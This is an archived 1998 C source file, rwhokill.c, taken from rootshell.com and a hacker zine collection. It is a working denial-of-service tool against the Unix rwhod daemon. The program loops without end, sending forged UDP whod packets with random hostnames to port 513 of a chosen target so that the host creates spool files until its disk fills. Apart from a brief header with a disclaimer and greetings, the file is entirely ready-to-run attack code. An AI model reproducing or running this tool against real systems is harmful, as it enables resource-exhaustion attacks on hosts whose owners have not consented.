home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / rwhokill.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  4KB  |  132 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. From sygma@raven.korax.net Mon Apr 13 16:34:53 1998
  5. Date: Sun, 22 Mar 1998 21:36:47 -0500 (EST)
  6. From: James Bond <sygma@raven.korax.net>
  7. To: info@rootshell.com
  8.  
  9. /* 
  10.  *  filename:  rwhokill.c
  11.  *  author:    sygma @undernet
  12.  *  problem:   rwhod uses UDP packtes to pick up whos on a network,
  13.  *             and creates a spool file based upon the packets received.
  14.  *           You could create mad spool files.. 
  15.  *  fix:       Don't run rwhod :)
  16.  *  notes:     I won't be held reponsible for the missuse most people do
  17.  *             with this stuff.  It's for educational purposes only!
  18.  *  tested on: Linux [slackware]
  19.  *             FreeBSD 2.2.5-Stable    FreeBSD 2.2.6-BETA [aparently patched]
  20.  *             NetBSD 1.2
  21.  *  greets:    B - lub you too :P, saad[too bad you're in if you like it 
  22.  *           or not], humble, and special thanks to my daddy - tiepilot 
  23.  *           DaveRT - you da man, n`tropy - who taught me absolutely
  24.  *           nothing at all, and anyone in snickers and
  25.  *           innuendo :) - and I can't forget Vallah [who I ripped packets
  26.  *           from :)]                                         `_@__
  27.  *
  28. */
  29. #include <stdio.h> 
  30. #include <stdlib.h> 
  31. #include <errno.h> 
  32. #include <string.h> 
  33. #include <sys/types.h> 
  34. #include <netinet/in.h> 
  35. #include <netdb.h> 
  36. #include <sys/socket.h> 
  37. #include <sys/wait.h> 
  38.  
  39. #define MYPORT 513
  40.  
  41. int i;
  42.  
  43. //ripped out of headers from a real os
  44.  
  45. struct  outmp {
  46.         char    out_line[8];            /* tty name */ 
  47.         char    out_name[8];            /* user id */
  48.         long    out_time;               /* time on */
  49. };      
  50.  
  51. struct  whod {
  52.         char    wd_vers;                /* protocol version # */
  53.         char    wd_type;                /* packet type, see below */
  54.         char    wd_pad[2];
  55.         int     wd_sendtime;            /* time stamp by sender */
  56.         int     wd_recvtime;            /* time stamp applied by receiver */
  57.         char    wd_hostname[32];        /* hosts's name */
  58.         int     wd_loadav[3];           /* load average as in uptime */
  59.         int     wd_boottime;            /* time system booted */
  60.         struct  whoent {
  61.                 struct  outmp we_utmp;  /* active tty info */
  62.                 int     we_idle;        /* tty idle time */
  63.         } wd_we[1024 / sizeof (struct whoent)];
  64. };
  65.  
  66.  
  67. int main(int argc, char *argv[])
  68. {
  69.     int sockfd;
  70.     struct sockaddr_in their_addr; /* connector's address information */
  71.     struct sockaddr_in ours;
  72.     struct hostent *he;
  73.     int numbytes;
  74.     struct whod evil;
  75.  
  76.     if (argc != 2) {
  77.         fprintf(stderr,"usage: rwhokill hostname\n");
  78.         exit(1);
  79.     }
  80.  
  81.     if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
  82.         herror("gethostbyname");
  83.         exit(1);
  84.     }
  85.  
  86.     if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
  87.         perror("socket");
  88.         exit(1);
  89.     }
  90.  
  91.     their_addr.sin_family = AF_INET;      /* host byte order */
  92.     their_addr.sin_port = htons(MYPORT);  /* short, network byte order */
  93.     their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  94.     bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */
  95.  
  96.     bzero(&ours,sizeof(struct sockaddr));
  97.     ours.sin_family = AF_INET;      /* host byte order */
  98.     ours.sin_port = htons(MYPORT);  /* short, network byte order */
  99.     bzero(&(ours.sin_zero), 8);     /* zero the rest of the struct */
  100.  
  101.     bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr));
  102.  
  103.     i=0;
  104.  
  105.     bzero(&evil,sizeof(struct whod));
  106.     
  107.     evil.wd_vers=1;
  108.     evil.wd_type=1;
  109.  
  110.     while(1)
  111.     {
  112.         for (i=0;i<32;i++)
  113.         {
  114.             evil.wd_hostname[i]=(random()%26)+'A';
  115.         }
  116.  
  117.         if ((numbytes=sendto(sockfd, &evil, sizeof(struct whod), 0, \
  118.                  (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
  119.         {
  120.             perror("recvfrom");
  121.             exit(1);
  122.             }
  123.  
  124.         i++;
  125.         if (i==1000) {printf(".");i=0;}
  126.         // fuck usleep(100);
  127.     }
  128.     close(sockfd);
  129.  
  130.     return 0;
  131. }
  132.